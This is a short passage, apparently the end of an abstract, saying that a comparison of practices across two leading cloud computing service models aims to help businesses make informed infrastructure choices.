practices in these two leading cloud computing
service models, thereby helping businesses make
informed choices regarding their cloud computing
infrastructure.
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